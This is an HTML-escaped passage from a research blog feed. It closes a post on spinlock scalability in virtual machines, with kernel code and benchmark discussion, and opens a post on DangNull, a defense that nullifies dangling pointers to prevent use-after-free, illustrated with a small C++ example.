&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_QUEUE_WAIT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPIN_MAX_THRESHOLD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;31&lt;/span&gt;
&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(;;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="cm"&gt;/* spinning (fast path) */&lt;/span&gt;
&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;u64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;READ_ONCE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__tickets_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear_slowpath&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;cpu_relax&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;41&lt;/span&gt;
&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="cm"&gt;/* yield (slow path) */&lt;/span&gt;
&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;__ticket_lock_spinning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;45&lt;/span&gt;
&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;clear_slowpath&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;__ticket_check_and_clear_slowpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;barrier&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;51&lt;/span&gt;
&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__always_inline&lt;/span&gt;
&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arch_spin_unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arch_spinlock_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TICKET_SLOWPATH_FLAG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;static_key_false&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;paravirt_ticketlocks_enabled&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;__ticket_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;58&lt;/span&gt;
&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_LOCK_INC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;60&lt;/span&gt;
&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unlikely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_SLOWPATH_FLAG&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;u8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;TICKET_SLOWPATH_FLAG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="cm"&gt;/* opportunistic wakeup */&lt;/span&gt;
&lt;span class="mi"&gt;66&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EAGER_WAKEUP_NCPU&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;__ticket_unlock_kick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_LOCK_INC&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;__add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;TICKET_LOCK_INC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNLOCK_LOCK_PREFIX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Performance comparison&lt;/h3&gt;
&lt;p&gt;&lt;img src="/blog/vbench/oticket.svg" alt="oticket" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;In the above figure, we compare our &lt;code&gt;oticket&lt;/code&gt; implementation with
the stock ticket spinlock implementation and another implementation
known as &lt;a href="https://lkml.org/lkml/2015/4/24/631" title="qspinlock: a 4-byte queue spinlock with PV support"&gt;qspinlock&lt;/a&gt;. qspinlock is the queue based spinlock for further
reducing the cacheline contention.
We can clearly observe that &lt;code&gt;oticket&lt;/code&gt; outperforms PVM and it shows the
same scalability trend that can be observed in case of HVM. The qspinlock
performs almost the same as of PVM. This happens because
qspinlock lock implementation also relies on fast path and slow path approach,
thereby suffering from the same sleepy lock anomaly as that of PVM.&lt;/p&gt;
&lt;p&gt;&lt;img src="/blog/vbench/oversubscribed.svg" alt="Oversubscribed" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;The above figure illustrates the performance of Linux kernel compilation time
inside a VM which has been co-scheduled with other VM. Both VMs are compiling the
Linux kernel simultaneously. We compare our &lt;code&gt;oticket&lt;/code&gt; implementation against
the existing stock version (PVM). We can observe that &lt;code&gt;oticket&lt;/code&gt; still outperforms
the PVM, but it also suffers from performance collapse after 40 vCPUS. We suspect
that the both PLE and &lt;code&gt;oticket&lt;/code&gt; are counteracting each other in oversubscribed
environment.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;We have taken a step to analyze the scalability behavior of VMs
with high core count (till 80 core). Our preliminary study suggests that besides cache contention
bottleneck, the usage of ticket spinlock is another culprit for the degradation.
We will take a step further and will try to analyze the scalability characteristics
of these monster VMs by running other benchsuites from Mosbench.&lt;/p&gt;</content><category term="Blog"></category><category term="OS"></category><category term="Synchronization"></category><category term="Virtualization"></category></entry><entry><title>Dangling Pointers Nullification to Prevent Use-after-free</title><link href="https://gts3.org/2015/dang-null.html" rel="alternate"></link><published>2015-04-11T10:10:00+02:00</published><updated>2015-04-11T10:10:00+02:00</updated><author><name>Byoungyoung Lee</name></author><id>tag:gts3.org,2015-04-11:/2015/dang-null.html</id><summary type="html">&lt;p&gt;Nullify dangling pointers to stop use-after-free.&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Memory corruption and use-after-free&lt;/h1&gt;
&lt;p&gt;Many system components are written in the unsafe C/C++ languages that are prone
to memory corruption vulnerabilities. Over more than 20 years,
attackers have been abusing these vulnerabilities to compromise and subvert the
system. Of course there have been much of defense side research efforts to stop
these issues, but it is not quite close to be perfect --- many of them take
too radical approaches so it involves either the changes of the
underlying running system or is not quite suitable for real-world applications.&lt;/p&gt;
&lt;p&gt;Today, use-after-free is generally known as one of the most difficult
vulnerability type. Many modern C/C++ applications are developed under
object-oriented or event-driven designs, which in turn separates out the memory
resource &lt;code&gt;use&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; patterns. Due to this separation, developers cannot
easily understand whether a certain memory pointer may point to a valid memory
object or not, and a use-after-free vulnerability is introduced if they
misunderstand. From the perspective of static analysis, use-after-free is a
still challenging problem with a similar reason --- separated use and free
routines require a precise points-to analysis with a complete inter-procedural
analysis.&lt;/p&gt;
&lt;h1&gt;DangNull: Nullifying dangling pointers&lt;/h1&gt;
&lt;h3&gt;Use-after-free example&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Div&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Element&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Element&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Document&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Element&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// (a) memory allocations&lt;/span&gt;
&lt;span class="n"&gt;Document&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Div&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// (b) using memory: propagating pointers&lt;/span&gt;
&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// (c) memory free: doc-&amp;gt;child is now dangled&lt;/span&gt;
&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// (d) use-after-free: dereference the dangled pointer&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getAlign&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Above code snippet shows a contrived example having use-after-free issues.  A
pointer &lt;code&gt;doc-&amp;gt;child&lt;/code&gt; points to the invalid memory region after &lt;code&gt;body&lt;/code&gt; is
deleted. Thus, &lt;code&gt;doc-&amp;gt;child&lt;/code&gt; is a dangling pointer, and use-after-free occurs
once the pointer &lt;code&gt;doc-&amp;gt;child&lt;/code&gt; is dereferenced.&lt;/p&gt;
&lt;p&gt;Use-after-free could have been prevented if all the pointers pointing to the
object to be freed are properly nullified (e.g., nullifying &lt;code&gt;doc-&amp;gt;child&lt;/code&gt; once
&lt;code&gt;body&lt;/code&gt; is deleted). However, such nullification is not straightforward for
developers because &lt;code&gt;doc-&amp;gt;child&lt;/code&gt; is essentially a back-pointer to &lt;code&gt;body&lt;/code&gt; and a
list of back-pointers are known when the object is freed.&lt;/p&gt;
&lt;h3&gt;Nullifying dangling pointers&lt;/h3&gt;
&lt;p&gt;Motivated by this hardness for developers, we developed &lt;code&gt;DangNull&lt;/code&gt; that
automatically nullifies all potential dangling pointers and thus prevents
use-after-free. By instrumenting additional code and maintaining extra
metadata, it can trace object relationships via pointers and nullifies the
pointers once it is dangled. For example, the above vulnerable code will be
transformed into the code like below.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// delete operator is intercepted,&lt;/span&gt;
&lt;span class="c1"&gt;// and all back-pointers including doc-&amp;gt;child are nulified.&lt;/span&gt;
&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// doc-&amp;gt;child is NULL, so use-after-free is prevented.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getAlign&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While intercepting all allocations and deallocations, it also instruments an
extra runtime function call, &lt;code&gt;trace()&lt;/code&gt;, to keep track of object relationships
